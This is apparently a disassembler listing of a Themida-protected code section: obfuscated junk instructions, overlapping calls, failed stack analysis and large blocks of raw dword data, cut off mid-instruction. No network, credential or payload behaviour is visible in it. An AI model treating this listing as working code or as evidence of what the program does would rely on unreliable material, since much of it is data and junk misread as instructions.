602CE2DBh, 59F18166h, 0DA8B6687h dd 0D3B96661h, 0C6E08030h, 830Fh, 0F600000h, 58Ah, 0EA816600h dd 8B666F29h, 666061F2h, 94B7D781h, 81666061h, 668E30DBh dd 615F35BAh, 0DE9h, 0CC421500h, 0EEB8ED3Dh, 0F83851Eh dd 0E8809769h, 14E90Bh, 0FBCF0000h, 0E6E65F68h, 8ABBF8CFh dd 0B4037BE6h, 71AE3ADAh, 9E9CEB3h, 0A0000000h, 443BC974h dd 18BD67A9h, 0EE8h, 19FD3F00h, 0C72B3BB6h, 606A9178h dd 0E9B66C63h, 0Dh, 3DCC4215h, 1EEEB8EDh, 690F8385h, 66525897h dd 8F36D781h, 4CBF6658h, 3830F8Eh, 0F000000h, 0E3BEF3BFh dd 0E922FBDEh, 10h, 0B48B8753h, 0B64A10A2h, 6BD5F1F6h dd 9FD24E76h, 989BEEB9h, 850FF548h, 0 ; --------------------------------------------------------------------------- jmp loc_605047 ; --------------------------------------------------------------------------- db 88h, 0A9h, 0C3h dd 0ED427C28h, 35B7EF97h db 53h, 29h, 5Bh ; --------------------------------------------------------------------------- loc_605047: ; CODE XREF: Themida_:00605034j pusha mov si, 0F64Fh cmc popa sbb ecx, 6980F7F5h mov dl, cl cld mov di, bx jmp loc_60506F ; --------------------------------------------------------------------------- db 0D7h dd 46DB3812h, 2200E068h, 0C90A0D55h ; --------------------------------------------------------------------------- popa db 3Eh inc ecx loc_60506F: ; CODE XREF: Themida_:0060505Aj jmp loc_60507E ; --------------------------------------------------------------------------- dd 8E779A70h, 808F0D98h db 0Ah ; --------------------------------------------------------------------------- loc_60507D: ; CODE XREF: Themida_:0060509Dj outsb loc_60507E: ; CODE XREF: Themida_:loc_60506Fj jmp loc_60508F ; --------------------------------------------------------------------------- db 0C5h dd 8F96992Bh, 34D03213h ; --------------------------------------------------------------------------- xchg bl, dl inc esp loc_60508F: ; CODE XREF: Themida_:loc_60507Ej sub ch, 0C7h push ecx call near ptr loc_60509F+5 push edi shr ch, 1Dh cwde jb short loc_60507D loc_60509F: ; CODE XREF: Themida_:00605093p fidiv word ptr cs:[edx-207FD205h] mov dword ptr [ebx+58h], 0CF8ACA8Bh jmp loc_6050B9 ; --------------------------------------------------------------------------- dw 0B6Fh dd 38673E8Fh ; --------------------------------------------------------------------------- setalc loc_6050B9: ; CODE XREF: Themida_:006050ADj or edx, 12575719h mov ch, 4Bh jmp loc_6050D4 ; --------------------------------------------------------------------------- mov esp, 1ED9CB5h sbb eax, 0C239B284h push esi pop ebx pop es xchg eax, ebp loc_6050D4: ; CODE XREF: Themida_:006050C1j or edi, 7C211254h jmp loc_6050EA ; --------------------------------------------------------------------------- db 0EFh db 0CCh ; --------------------------------------------------------------------------- mov eax, 783C3737h lodsb pop esp xchg eax, ebx lahf loc_6050EA: ; CODE XREF: Themida_:006050DAj jp loc_6050F2 mov esi, edx loc_6050F2: ; CODE XREF: Themida_:loc_6050EAj push edx jmp loc_605109 ; --------------------------------------------------------------------------- mov dh, 10h mov esi, 45785B31h xchg eax, esp add [esi+9], dl mov bl, 0C6h cmpsd fcom dword ptr [ebx+ebx*2] loc_605109: ; CODE XREF: Themida_:006050F3j pop edi jle loc_605124 jmp loc_605124 ; --------------------------------------------------------------------------- xor eax, 0D03E208h pop eax sub eax, [edx+7CF68B79h] adc ah, al push ds loc_605124: ; CODE XREF: Themida_:0060510Aj ; Themida_:00605110j adc ax, 115Fh call sub_60513A outsb or eax, 816F695h lea esi, [eax-3FB9FCD3h] ; =============== S U B R O U T I N E ======================================= sub_60513A proc near ; CODE XREF: Themida_:00605129p ; FUNCTION CHUNK AT 006051E8 SIZE 00000010 BYTES mov ebx, edi pop ebx clc pusha jno $+6 movzx ebx, di popa sbb edi, 4DF16A2Ch and dx, 5D50h mov ecx, ebx jmp loc_605169 ; --------------------------------------------------------------------------- db 34h dd 233FDF19h, 0B9E30D24h, 0EA078AE2h db 0D5h ; --------------------------------------------------------------------------- loc_605169: ; CODE XREF: sub_60513A+1Cj jmp loc_605181 ; --------------------------------------------------------------------------- dw 1B76h dd 9D31281Eh, 6D11A745h, 0CC29EAB3h, 0C4A92332h db 21h ; --------------------------------------------------------------------------- loc_605181: ; CODE XREF: sub_60513A:loc_605169j cmc call near ptr loc_605194+2 fstp dword ptr [eax] cmp al, 0CBh xor [ecx+3D1890D7h], cl inc ecx jbe short loc_6051E8 loc_605194: ; CODE XREF: sub_60513A+48p sbb byte ptr [ecx-17h], 5 sub_60513A endp ; sp-analysis failed ; --------------------------------------------------------------------------- dd 73000000h, 944ADE36h, 4830F5Ah, 66000000h, 0E9E07BBEh db 0Dh, 0 dw 0 ; CODE XREF: sub_60513A+B0j dd 5FD9FB8Eh, 50329321h, 7B8AAEC5h, 10E8D7h, 0E61D0000h dd 47FA1FB4h, 0F8AD4563h, 0ED632F89h, 0EA8A3F4Eh, 0AE959h dd 49530000h, 0AB18C8Fh, 0D9587B65h, 13E9h ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_60513A loc_6051E8: ; CODE XREF: sub_60513A+58j add cl, al loop near ptr word_6051AE mov cl, 0E0h rep in al, 0A7h ; Interrupt Controller #2, 8259A xchg eax, esi sbb eax, 0D5191AB3h retn ; END OF FUNCTION CHUNK FOR sub_60513A ; --------------------------------------------------------------------------- mov ah, 1Ah jz short loc_605277 mov ebx, 3C3A10E4h jmp loc_605216 ; --------------------------------------------------------------------------- dw 8084h dd 78727A29h, 73B93292h, 59E2CE99h db 0A6h, 0A1h ; --------------------------------------------------------------------------- loc_605216: ; CODE XREF: Themida_:00605201j mov ebx, 53C0FE5Ah mov ax, 0B39Ch push esi push ecx mov di, ax pop ebx pop edx call near ptr loc_605235+3 inc eax sal byte ptr [ecx-71h], cl les edi, [edi-1ABF3E74h] loc_605235: ; CODE XREF: Themida_:00605226p jmp far ptr 5AC7h:8B66A14Bh ; --------------------------------------------------------------------------- dd 51EA8060h, 28C0Fh, 5B520000h, 0B97BBF61h, 48B35FAEh dd 4800FF8h, 66000000h, 6099D8BEh, 10810Fh, 0AE80000h dd 0E4000000h, 5B3B601h, 312D3E95h, 81665B68h db 0E9h, 69h, 63h ; --------------------------------------------------------------------------- loc_605277: ; CODE XREF: Themida_:006051FAj popa sub dx, 6C4Eh sbb bh, 4Eh mov dx, 8266h jz loc_60528F or bx, 1D48h loc_60528F: ; CODE XREF: Themida_:00605284j mov esi, 63FBEE8Dh mov ah, cl call near ptr sub_6052AB retf ; --------------------------------------------------------------------------- rol dword ptr ds:658328Bh, 0F0h aaa jg short loc_6052C6 pop es adc byte ptr [edx-3Dh], 4Bh ; =============== S U B R O U T I N E ======================================= sub_6052AB proc far ; CODE XREF: Themida_:00605296p mov ecx, 7D20DA8h pop ecx mov ebx, 7C4C1AB2h cmc pusha jmp loc_6052C7 ; --------------------------------------------------------------------------- db 2Ch, 0E8h, 69h ; --------------------------------------------------------------------------- retf 36F3h ; --------------------------------------------------------------------------- pop esi xor al, 0E4h loc_6052C6: ; CODE XREF: Themida_:006052A4j push ss loc_6052C7: ; CODE XREF: sub_6052AB+Dj adc bl, 7 popa cld pusha mov eax, ebx xor eax, 2B484097h popa jp loc_6052F9 call sub_6052F2 imul ebx, [edi-7Dh], 69h retn sub_6052AB endp ; sp-analysis failed ; --------------------------------------------------------------------------- dw 5768h dd 0C75B165Bh, 98977028h ; --------------------------------------------------------------------------- or al, 3Eh ; =============== S U B R O U T I N E ======================================= sub_6052F2 proc near ; CODE XREF: sub_6052AB+31p adc ebx, 6DAFE31Bh pop edi loc_6052F9: ; CODE XREF: sub_6052AB+2Bj jnz $+6 sbb ebx, 143EC7Ah call near ptr loc_605312+4 dec ebp pop ebp xchg eax, ecx xchg eax, ebp bound edi, [edi] dec esp pop esi loc_605312: ; CODE XREF: sub_6052F2+13p repne add ebx, [ebp-397E99D1h] sub_6052F2 endp ; sp-analysis failed insd mov dh, 59h push ecx jmp loc_605328 ; --------------------------------------------------------------------------- and [ecx], bl mov bl, 0D6h fldlg2 loc_605328: ; CODE XREF: Themida_:0060531Dj pop edx mov di, cx cmc mov esi, 68FEF366h push ebx jp loc_60533C mov di, dx loc_60533C: ; CODE XREF: Themida_:00605333j pop edx mov cx, 67A8h mov edx, 477EDC78h sbb ecx, 781CC25Bh and esi, 57D5A85Dh add ebx, 34C6D0F8h add edi, 7801A372h jmp loc_605375 ; --------------------------------------------------------------------------- db 48h dd 34ECD775h, 407D8E02h, 48442CC1h, 257F2292h db 75h ; --------------------------------------------------------------------------- loc_605375: ; CODE XREF: Themida_:0060535Ej jb loc_605380 sbb bx, 7B34h loc_605380: ; CODE XREF: Themida_:loc_605375j sbb dh, 31h jo loc_60539F jge loc_60539F jmp loc_60539F ; --------------------------------------------------------------------------- dd 0DF80AAE9h, 818CFF9Ch db 0D8h, 0DEh, 34h ; --------------------------------------------------------------------------- loc_60539F: ; CODE XREF: Themida_:00605383j ; Themida_:00605389j ... push ebx clc pop ebx sub di, 98D1h jbe loc_6053B0 and bl, 41h loc_6053B0: ; CODE XREF: Themida_:006053A7j call sub_6053C3 lodsb das insb loop near ptr loc_6053B8+1 ; CODE XREF: Themida_:loc_6053B8j mov dl, 52h lodsd ; --------------------------------------------------------------------------- db 8Fh, 20h, 0B7h ; --------------------------------------------------------------------------- cld mov dl, 0A1h ; =============== S U B R O U T I N E ======================================= sub_6053C3 proc near ; CODE XREF: Themida_:loc_6053B0p call near ptr loc_6053CD+1 xor [edi+23h], bh in al, 0D7h loc_6053CD: ; CODE XREF: sub_6053C3p test ebp, ecx sub_6053C3 endp ; sp-analysis failed or eax, [eax] ; --------------------------------------------------------------------------- db 2 dup(0), 4Eh dd 29D05D32h, 0FCF7712Ah, 595A1A72h, 0FE9h, 0DDAD2800h dd 0DC605D02h, 0A42A7AB1h, 640CBEA5h, 0CE8h, 3301AB00h dd 0E543D388h, 7EAC528Bh, 12E8DEh, 48130000h, 69D12E9Bh dd 253EDDB1h, 3912DE8Eh, 2B7DFB62h, 8E0F5F5Eh, 6, 0F018E081h dd 0C2813917h, 61F230ECh, 0F8BCDF80h, 5840Fh, 80500000h dd 605BF6D5h, 0E9F6B70Fh, 0Bh, 0CD819B71h, 6B8D8548h, 6152448Eh dd 9BD38166h, 14E932h, 0EB350000h, 0C0761524h, 16F73B12h dd 0CCF4845Fh, 0A160B80Fh, 8E0FB418h, 11h, 0B880Fh, 6E90000h dd 17000000h, 4C5F0ED2h, 9E9FEh, 248D0000h, 1A9F7D47h dd 0E84A9FEDh, 10h, 79E2AEADh, 3DEF5D2Bh, 0A9ECDA1Eh, 0A4F9A27Fh dd 0E959EC8Ah, 13h, 457C6157h, 71097460h, 0C4E3C214h, 0A3F5D5C3h dd 0F501008h, 680h, 6AE78100h, 8A3762ADh, 0F0B70FC5h, 0BEC5E181h dd 8B523191h, 0E9525EFEh, 0Ch, 25E73AEDh, 2756662Dh, 8E5F40FBh dd 0EE81665Bh, 10E8769Bh, 0D4000000h, 0FBDA57D1h, 0C11501B5h dd 888CD8AFh, 0FC283E2h, 687h, 82E78100h, 5920CC5Ah, 98D08060h dd 0C8A0F61h, 0F000000h, 683h, 8A0F00h, 0E9000000h, 0Fh dd 15E23225h, 7C867EA4h, 0AC5FAE00h, 0FA6CE15h, 8A0FDEB7h dd 1, 0FEBF0FF9h, 7E9h, 27E64E00h, 0F8AC148Bh, 81F28B66h dd 8DA4EDCBh, 0D18B664Ah, 0F1F58060h, 66616060h, 6161CB8Bh dd 0DE8h, 0F4BA0200h, 267E44EAh, 327264DAh, 0F579659h dd 5959FABFh, 0EE9h, 0EA8CB200h, 0E52EA72Ch, 17644588h dd 813423CFh, 695571F7h, 0F1FB421h, 383h, 0A1D08000h, 9DB5E281h dd 8B0F12DAh, 4, 58616050h, 8B6042B6h, 816661C8h, 0FFE78C1h dd 0BF0FCAB7h, 0BE9FEh, 99660000h, 0C4B5F43Bh, 4EDD01ADh dd 8E9602Fh, 47000000h, 7E778AB2h, 0BAC79277h, 26158868h dd 208C0F61h, 0F000000h, 1A86h, 14E800h, 0C0930000h, 0BE2F6E49h dd 0EBCF6F56h, 17D02B16h, 84FCD1ABh, 0F5A9D33h, 389h, 0C6B70F00h dd 0F97EEB80h, 0BF0FE18Ah, 8E9C7h, 24F60000h, 0DACCB176h dd 8057DE62h, 805F00CAh, 0B70F99C6h, 0D830FD6h, 60000000h dd 32BBACBEh, 8A0F01h, 61000000h, 0AE952h, 5D200000h, 0EB740A46h dd 0D19DE545h, 0DD80F95Fh, 0F5F51D0h, 1284h, 0BE800h, 8C5D0000h dd 7E7B539Fh, 2C6C4193h, 605BFC41h, 662CEE80h, 61BC6ABFh dd 0DE9h, 3E3F8400h, 23FD3917h, 1A610D62h, 14E8801Fh, 5F000000h dd 696F2017h, 0C664AE37h, 1D8AE092h, 0A73AAD1Fh, 0E891279Ch dd 14h, 0E93F6596h, 0C449A6F1h, 0B8553F41h, 0DE495006h dd 0CAB889FBh, 59596160h, 0DA816660h, 8B668ACCh, 0F5261DAh dd 8A5FF1B7h, 2810FF8h, 0B1000000h, 0FE989h, 0F3380000h dd 0F10547BCh, 76BAF48Ah, 5CF297Fh, 0E8816689h, 0B70FB8B0h dd 82B966D1h, 11E8C9h, 78C00000h, 6B4509F0h, 0BEF1D106h dd 0F2494C20h, 0FADBED4h, 381h, 0B8EC8000h, 0D78B665Ah dd 0EE8h, 9DB12900h, 7B6D69C5h, 0EA774680h, 0F271B65h dd 286h, 5EC18B00h, 5880F60h, 0BE000000h, 7F6FCDB2h, 0BE8h dd 8412CB00h, 941A6F9h, 4AD2DB64h, 0FE8615Fh, 6A000000h dd 0C4A8898Bh, 465B27F6h, 0FEF7B3E8h, 8E88CC5h, 0DF000000h dd 806051E9h, 810460F5h, 1DA35DDAh, 605B5A7Ah, 0D430B6BBh dd 18E08072h, 0B966F561h, 8B663184h, 0E78166F9h, 0B866BAFEh dd 81661E57h, 66EAD9E0h, 7BFAF381h, 78F0Fh, 60600000h dd 0D6B70F61h, 9E85061h, 2A000000h, 0EB08543Eh, 0A9E7FE09h dd 0E9F95959h, 11h, 9407244Dh, 99A1ADAh, 6823E32Fh, 0BD6F34B7h dd 12E95150h, 8B000000h, 0A603CDCAh, 0E1F68BBh, 8DB3BE82h dd 26A3AB39h, 7E85B95h, 6C000000h, 0C80BDA87h, 0F98B09D2h dd 9DCA8059h, 7E8h, 58B9C900h, 7F3ED737h, 66FC5EF9h, 90BAF081h dd 11E3DFBBh, 8B0FF535h, 4, 0AA8BBE66h, 0FDF8B66h, 381h dd 0CABF0F00h, 40D4BB66h, 0FF6BF0Fh, 58Ch, 0B097B800h dd 0FFC2590h, 0FC8AF8BFh, 8571E1BAh, 0F18B6674h, 81D9CC80h dd 5D369ED7h, 8A0F73h, 0F000000h, 33B4F6BFh, 5AD18B52h dd 60F5E58Ah, 13E8EB8Ah, 0E2000000h, 0A6293429h, 0D0DE1CB1h dd 3C77D8E0h, 0C21CD538h, 0BE8389Bh, 0B9000000h, 572B2BBFh dd 8D792C84h, 5E598F97h, 6E961h, 126B0000h, 4A6E2A64h dd 5850Fh, 29BE0000h, 815EA552h, 219F5BD0h, 0DA8B665Ah dd 0FB26DCBAh, 14E943h, 37870000h, 2E4C2F0Ch, 5EC6687Ch dd 0B2420B04h, 49E29EB7h, 0DF815838h, 2C2A1543h, 9E960h dd 0D9FC0000h, 587C7E5Ah, 0F91E620h, 0BE61CFBFh, 1D9BF403h dd 0FE950h, 31320000h, 0F2A4C987h, 0DD2CA821h, 64E753CBh dd 0BF0F5BA9h, 10E8CAh, 0F94F0000h, 0A66A274Fh, 479A207Ch dd 2D98AEC3h, 0BF0F745Bh, 8B665AD8h, 0EE8F1h, 42F60000h dd 645213AFh, 4A70C56Ah, 0F1C97A96h, 0E08636BFh, 0F2805B47h dd 0E1F781E1h, 8B29DA92h, 0B5DF81C8h, 66562CD8h, 0E9917DBFh dd 10h, 0D9893A47h, 457AB6Dh, 82F49272h, 0E430309Ch, 5E9h dd 0D58BF00h, 0B70F99CFh, 665857CBh, 0F808C8BAh, 0D0D68166h dd 0EE837h, 0BA120000h, 0B5AA0CE4h, 0BB880B1Ah, 54D3EBFAh dd 0E958F28Bh, 12h, 0FE16C4C8h, 0CAC07ED6h, 0B81DCD14h dd 0C75829BEh, 890FDDDFh, 17h, 12E9h, 0CFFFD500h, 2453BA7Bh dd 9A1520FDh, 79899Ah, 80993585h, 9E9F5C3h, 69000000h dd 0D026640Eh, 6E7A7D18h, 58C0Fh, 0F520000h, 0F59CFB7h dd 0C8Ah, 7E900h, 8EF0000h, 4DD18ABCh, 5BEA81E7h, 0F52722E4h dd 6652D08Bh, 588848BAh, 39B3BA66h, 6E95957h, 84000000h dd 6420A6A6h, 6E840h, 72E20000h, 0EB4883F0h, 19D0815Bh dd 0F13BE37h, 584h, 0DE816600h, 0EF80F060h, 816660DDh dd 0F09D9E8h, 1580h, 0FE800h, 93DC0000h, 64A9831Fh, 7DD9397Bh dd 0D9792071h, 0F615F3Dh, 585h, 8697BE00h, 0EA8A6400h dd 7FAA32BAh, 0F8FCF829h, 6E8F9h, 90E10000h, 0DFB64522h dd 1ACE8059h, 3DDF8166h, 0BE98Ch, 0C1950000h, 0F5B6EB2Fh dd 1D195246h, 0EE82Ch, 0A2500000h, 9131C54h, 1CC19056h dd 12B8010Eh, 0BF5F09B7h, 27CED3EBh, 60FFBF0Fh, 2800Fh dd 0D78A0000h, 0F076E381h, 0E8612EDFh, 9, 98AC3406h, 0E40B160Bh dd 6E97Fh, 4EF10000h, 1F01DF5Bh, 0D2815059h, 15A6CF49h dd 0CE95Bh, 30500000h, 720A0C44h, 0F9856C68h, 8B661B45h dd 1C8CBBC6h, 0BF0F3E29h, 11E9C9h, 9DD70000h, 1A49445Bh dd 0F1BF5FF7h, 62FF123Ch, 0E9CBD5D1h, 0Eh, 0D7E0F500h dd 0F2963231h, 0DAB75ECBh, 0BF0F4B5Bh, 0F9C18AD0h, 63E6B966h dd 840A3B9h, 53E9800Eh, 0FD38B66h, 85h, 0DE900h, 9C810000h dd 3002CEF9h, 0D542D426h, 80061BFEh, 0D48A65ECh, 0FA0DC80h dd 981h, 38B0F00h, 80000000h, 71BBBBEFh, 816B7211h, 667442DEh dd 0C909BA79h, 8E0F64DEh, 0Eh, 9E9h, 5664FE00h, 998094C5h dd 8B66860Dh, 0E7BE66D0h, 96C8813Eh, 0E918082Eh, 11h, 0C1A3FCD6h dd 0E3388A2Dh, 0F00F947Ah dd 5DD816C6h, 0FE8F9CEh, 9000000h, 6DBF86Fh, 0C2433AC1h dd 6549B908h, 0F5F11F8h, 382h, 0D1B70F00h, 11EDF781h, 0DE95A4Bh dd 1E000000h, 6A6F0B8Fh, 8063943Eh, 509EF59Eh, 0DE85E53h dd 99000000h, 76E70535h, 0A3E9F1E2h, 0A3DCEADCh, 0AE9h dd 0CE921C00h, 0D8409E25h, 58F3D9D7h, 503EBA52h, 665F7FC7h dd 663570B9h, 0E9CB26B9h, 0Dh, 180E156Ch, 9B4E315Bh, 58ACF4A4h dd 0D4BE66F0h, 13E80Bh, 33F20000h, 15FC50B3h, 288D709Eh dd 0FF0D0896h, 0C43F2AF7h, 59D68BEFh, 0EF4C181h, 14E91329h dd 38000000h, 51E1502Eh, 45AABCA8h, 5E1016CEh, 13068DAEh dd 0E8FDA25Bh, 6, 0C4E3C214h, 0BF0FD5C3h, 8F0F5BD1h, 2 dd 8A0F91B2h, 0 ; --------------------------------------------------------------------------- movzx eax, si mov di, dx push edi jmp loc_605CC8 ; --------------------------------------------------------------------------- dd 0AC6320FBh, 0FDF5A719h, 4F628587h ; --------------------------------------------------------------------------- loc_605CC8: ; CODE XREF: Themida_:00605CB7j pop ecx mov esi, 63CE1007h pusha push ecx pop ebx call near ptr loc_605CE2+1 ; CODE XREF: Themida_:00605CD9j push ss sbb ch, [esi] loop near ptr loc_605CD1+3 mov esi, fs:[ebx-6C4544B8h] loc_605CE2: ; CODE XREF: Themida_:loc_605CD1p fstp qword ptr [ecx+61h] jz loc_605CF1 sbb edi, 19D9EC7Ch loc_605CF1: ; CODE XREF: Themida_:00605CE5j and edi, 3742AD16h mov bx, dx mov edi, 4BA002C6h cmc pusha movzx edi, ax pusha mov eax, 2F53EA07h jnp $+6 popa popa xor bh, 24h push edi jmp loc_605D2F ; --------------------------------------------------------------------------- db 91h dd 424EE637h, 0CD07A97h, 0C991A976h, 3BDB7BDEh db 1Eh, 0C8h, 4Fh ; --------------------------------------------------------------------------- loc_605D2F: ; CODE XREF: Themida_:00605D16j pop ebx and cx, 3732h mov dh, 66h movzx eax, cx pusha mov dx, di jns loc_605D5D jmp loc_605D5D ; --------------------------------------------------------------------------- cmp [ebp-1EFCA986h], edx add byte ptr [edi], 52h adc dl, bl scasb shr ecx, 1 inc ebx mov ebx, 2574EC17h loc_605D5D: ; CODE XREF: Themida_:00605D3Ej ; Themida_:00605D44j popa cmc push ecx mov dx, 29B1h pop edx jb $+6 stc mov edx, 2531939Fh adc bx, 0BC4Ch mov cx, 7851h cld js loc_605D8B jbe loc_605D8B mov bx, 0C3DBh loc_605D8B: ; CODE XREF: Themida_:00605D7Bj ; Themida_:00605D81j sub ax, 216Ah push ecx xor ah, 98h pop ebx call near ptr loc_605D9C+4 in al, 0BDh ; Interrupt Controller #2, 8259A loc_605D9C: ; CODE XREF: Themida_:00605D95p mov dword ptr [edx+66602BBEh], 3372E381h cmc popa pop ecx movzx esi, di pusha xor ah, 0CFh call sub_605DC7 insb cwde retf ; --------------------------------------------------------------------------- db 0CCh db 54h, 96h, 9Ch dd 0D554A104h, 2647C710h db 81h, 0B2h, 0F4h ; =============== S U B R O U T I N E ======================================= sub_605DC7 proc near ; CODE XREF: Themida_:00605DB0p mov cl, bh pop edi popa mov ax, 0ECD1h pusha call near ptr locret_605DDA+1 aam 0A7h push es aad 5Ah locret_605DDA: ; CODE XREF: sub_605DC7+9p retn 0D88Ah sub_605DC7 endp ; sp-analysis failed ; --------------------------------------------------------------------------- db 5Fh, 0F8h, 61h dd 8E8h, 0B4326F00h, 0B9C348CBh, 9E882h, 16BA0000h, 2912EE64h dd 0F4B5C04h, 81h, 665E5A00h, 3AB1F08Bh, 0CE8h, 0A9EB6800h dd 0D588D5BCh, 5A15606Ch, 58F28B82h, 860F5260h, 0 ; --------------------------------------------------------------------------- pop edi jmp loc_605E35 ; --------------------------------------------------------------------------- dw 0BC35h ; --------------------------------------------------------------------------- mov eax, ds:94F7199Ch retf 20B0h ; --------------------------------------------------------------------------- push cs loc_605E35: ; CODE XREF: Themida_:00605E25j popa cld movsx eax, ax add cl, 82h jp loc_605E48 add di, 0F545h loc_605E48: ; CODE XREF: Themida_:00605E3Dj mov edi, edx movsx eax, cx cmc pusha movzx ecx, di popa mov edi, esi push edx mov di, 8016h pop esi mov ah, ch jmp loc_605E75 ; --------------------------------------------------------------------------- dw 4C20h dd 0BED4F249h, 0AC19E3ADh, 4CD4980Fh, 0DB912BDDh ; --------------------------------------------------------------------------- dec ecx loc_605E75: ; CODE XREF: Themida_:00605E5Dj mov edi, ebx call near ptr loc_605E82+4 cmp [ebx+0C0B7EA3h], eax loc_605E82: ; CODE XREF: Themida_:00605E77p mov ds:662F6391h, eax sbb edi, 0E959B8EDh sldt word ptr [eax] add [edx], dh add dword ptr [esi], 0E5482D9Fh ; --------------------------------------------------------------------------- dd 4F88EF62h, 924703BCh, 0B660FA8Bh, 0C18B66E7h, 0BCBA6661h dd 0EE9606Eh, 0EC000000h, 74251C06h, 9BBC073Ch, 0F241562h dd 61D98A00h, 0FC3B70Fh, 2085h, 0DE800h, 77320000h, 21F919B6h dd 8A5031E5h, 0E9330FEDh, 8, 0B957863Bh, 326C5F6Eh, 0C781665Bh dd 0B70FC589h, 53F580D6h, 66F2E280h, 0E86F76B9h, 8, 0AA3A1E1Dh dd 0D8E139B3h, 58D78B66h, 7D1DBB66h, 7880Fh, 8B600000h dd 0C38B66D6h, 0CB8B6061h, 4341F081h, 0F6125A7h, 486h dd 61606000h, 0F890F61h, 0E8000000h, 6, 0E9775B26h, 0B70FD1F9h dd 890F5ED9h, 5, 0C10B8FBAh, 5850F53h, 0BA000000h, 5BB2DD1Fh dd 0E8F1BF0Fh, 8, 50BB6E1Dh, 1862C4D4h, 0E3815EF8h, 15ED5859h dd 26DBBE60h, 60605B26h, 0C28B6661h, 1DBF6161h, 663F8C91h dd 0E928C7B8h, 5, 0C3F688E0h, 14E90Fh, 0E4C0000h, 53FEDDF1h dd 0C2A27EA8h, 0D17EC9F1h, 46A8EB59h, 8B666CEFh, 0AE860D9h dd 0F3000000h, 679CE7BBh, 14697A36h, 0D381667Ah, 615EE96Ah dd 66F5F88Bh, 0E92D5CB9h, 0Ch, 968BD9BFh, 51FC2CD9h, 25624BFDh dd 0A860Fh, 8D0F0000h, 4, 0BF62B866h, 0E8D68166h, 1EBB666Eh dd 870F6046h, 6, 800Fh, 0E8600000h, 12h, 0EE143D7Dh, 0E39645C2h dd 405D2238h, 126661E1h, 615E9211h, 58B0F61h, 66000000h dd 6D22E681h, 6E9F78Bh, 0BE000000h, 53547760h, 0FE9DEh dd 599A0000h, 7C70A72Eh, 7D3108CAh, 5C1C8F59h, 0FFB70F63h dd 29D08166h, 7820F28h, 60000000h, 60C88166h, 8B0F6173h dd 0Ch, 940B860h, 56BE3991h, 61030F47h, 0E9F18166h, 8D0F565Ch dd 3, 5FC2F780h, 80F48AF5h, 11E956EDh, 1D000000h, 654AA9B1h dd 0AD4AE1BBh, 42427B77h, 0DFAD6283h, 845ADA81h, 0BB6679C1h dd 8B66AFA3h, 8830FDFh, 57000000h, 0CA59C981h, 0F5E690Ch dd 1988h, 11E85700h, 50000000h, 6370144Fh, 0CA804F7Ch dd 82B7F6D4h, 0B19A328Dh, 0E9FC595Eh, 0Bh, 1E549449h, 0C15B4853h dd 8B0B0FB5h, 14800FDAh, 0E9000000h, 0Fh, 0D0D2F998h, 0F9B79314h dd 0D61715A7h, 0E92E66F5h, 14h, 90BA66B9h, 4A2F3AE5h, 4138D80Bh dd 0F6804BABh, 0AE556D4Bh, 0F95356F5h, 0D1815859h, 25ECD013h dd 0E96027B2h, 0Fh, 6144B347h, 0A3F2BEB3h, 4BD1E09Fh, 502733A6h dd 615BF88Bh, 80CFB70Fh, 0B8665FE1h, 66605734h, 8B66DF8Bh dd 8C0F61C3h, 6, 34D7E081h, 0BE667FC7h, 820F55F2h, 0 ; --------------------------------------------------------------------------- jmp loc_606184 ; --------------------------------------------------------------------------- db 3Dh, 0DFh, 33h dd 0DED0BC8Eh, 81EFD13Ch ; --------------------------------------------------------------------------- loc_606184: ; CODE XREF: Themida_:00606174j mov si, 7DC0h sub di, 0B761h adc ch, 35h jnp loc_60619B and cx, 57Bh loc_60619B: ; CODE XREF: Themida_:00606190j jmp loc_6061B1 ; --------------------------------------------------------------------------- db 0CCh db 0C7h, 43h, 0F9h dd 0C18899Bh, 958815BEh, 0D7BDF4C3h db 64h ; --------------------------------------------------------------------------- loc_6061B1: ; CODE XREF: Themida_:loc_60619Bj xor dx, 628Dh mov bx, 81B3h cmc push ecx call near ptr loc_6061CC+1 movsd jg short near ptr loc_60620F+3 cmp [esi], esi aam 12h out 0CDh, eax ; DMA controller, 8237A-5. ; master clear. ; Any OUT clears the ctrlr (must be re-initialized) pop esi inc ecx loc_6061CC: ; CODE XREF: Themida_:006061BCp adc [edx+5Ah], edx pop ebx pop ecx pusha pusha clc adc ecx, 67B095B1h popa jmp loc_6061EE ; --------------------------------------------------------------------------- retn 2146h ; --------------------------------------------------------------------------- db 0B4h dd 8E50F5F0h, 0DC68C263h ; --------------------------------------------------------------------------- cmp esp, eax loc_6061EE: ; CODE XREF: Themida_:006061DBj popa jbe loc_6061F8 mov bx, dx loc_6061F8: ; CODE XREF: Themida_:006061EFj mov bl, 0D9h sub cx, 9003h cld movzx esi, di jle loc_60621F call near ptr loc_606218+3 cld loc_60620F: ; CODE XREF: Themida_:006061C2j cmp eax, 94ED015Dh sub bh, dl sub edi, edx loc_606218: ; CODE XREF: Themida_:00606209p xor [ebp-2674998Eh], ah pop ecx loc_60621F: ; CODE XREF: Themida_:00606203j jmp loc_606230 ; --------------------------------------------------------------------------- dd 0F041AF20h, 0DD53A938h, 1EB73298h ; --------------------------------------------------------------------------- loc_606230: ; CODE XREF: Themida_:loc_60621Fj mov eax, ecx mov dx, ax mov ax, bx mov cx, di jmp loc_60624E ; --------------------------------------------------------------------------- dd 242FB436h, 3D9DD999h, 258D47F4h db 9Bh, 0D5h ; --------------------------------------------------------------------------- loc_60624E: ; CODE XREF: Themida_:0060623Bj push eax jmp loc_606267 ; --------------------------------------------------------------------------- dd 0FA18B7DCh, 6316F3AAh, 0C5891E8Ah, 28C46ADDh db 67h, 72h, 43h ; --------------------------------------------------------------------------- loc_606267: ; CODE XREF: Themida_:0060624Fj pop esi mov cx, 5E99h js loc_606277 add di, 1018h loc_606277: ; CODE XREF: Themida_:0060626Cj jmp loc_60628C ; --------------------------------------------------------------------------- dd 6982BBB0h, 0DB45B90Ch, 1FB4E61Dh, 456347FAh ; --------------------------------------------------------------------------- loc_60628C: ; CODE XREF: Themida_:loc_606277j pusha movsx edi, ax pusha mov ecx, 19F27C83h popa popa mov dx, 7CF4h adc ax, 3EEh pusha call loc_6062AE js short loc_6062EB xchg eax, ecx sub al, 0F4h xor al, 0Ah loc_6062AE: ; CODE XREF: Themida_:006062A2p mov bl, 0BCh pop edi jb loc_6062B9 push ecx pop edx loc_6062B9: ; CODE XREF: Themida_:006062B1j popa jnb loc_6062C5 xor di, 0D0Fh loc_6062C5: ; CODE XREF: Themida_:006062BAj mov ecx, 